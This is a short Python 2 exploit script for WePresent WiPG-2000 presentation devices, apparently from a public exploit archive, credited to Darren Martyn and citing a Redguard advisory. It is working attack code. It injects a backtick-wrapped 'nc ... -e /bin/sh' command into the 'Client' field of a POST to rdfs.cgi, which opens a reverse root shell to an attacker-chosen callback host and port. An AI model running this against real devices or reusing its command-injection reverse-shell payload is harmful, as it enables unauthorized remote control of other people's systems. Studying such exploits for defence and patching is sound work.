Multiple vulnerabilities in WePresent WiPG devices

                                                #!/usr/bin/python2
# coding: utf-8
# Title: WiPG-2000 Remote Root Exploit
# Reference: https://www.redguard.ch/advisories/wepresent-wipg1000.txt
# Author: Darren Martyn
# Date: 12-06-2017
# Version: 1.1
import requests
import sys

def get_shell(target, cbhost, cbport):
    command_inject = "test`nc %s %s -e /bin/sh`" %(cbhost, cbport)
    url = "%s/cgi-bin/rdfs.cgi?lang=varLang&src=varSrc&varSEID" %(target)
    data = {"Client": command_inject}
    try:
        print "popping shell. request WILL hang while this happens. \nHope you have a listener for the shell ready..."
        r = requests.post(url=url, data=data)
    except Exception, e:
        print e
        sys.exit("request failed or timed out or whatever.")
    print "hope you enjoyed your shell!"

def main(args):
    if len(args) != 4:
        sys.exit("use: %s http://target cbhost cbport" %(args[0]))
    get_shell(target=args[1], cbhost=args[2], cbport=args[3])

if __name__ == "__main__":
    main(args=sys.argv)